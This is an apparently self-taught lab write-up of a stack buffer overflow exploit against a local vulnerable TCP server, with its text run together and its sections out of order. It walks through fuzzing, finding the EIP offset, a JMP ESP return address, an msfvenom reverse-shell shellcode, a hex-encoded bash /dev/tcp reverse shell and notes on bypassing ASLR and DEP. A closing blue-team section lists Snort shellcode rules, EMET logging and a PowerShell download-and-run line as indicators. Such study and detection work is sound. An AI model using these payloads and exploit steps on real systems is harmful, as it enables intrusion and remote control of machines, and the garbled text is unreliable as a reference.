somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
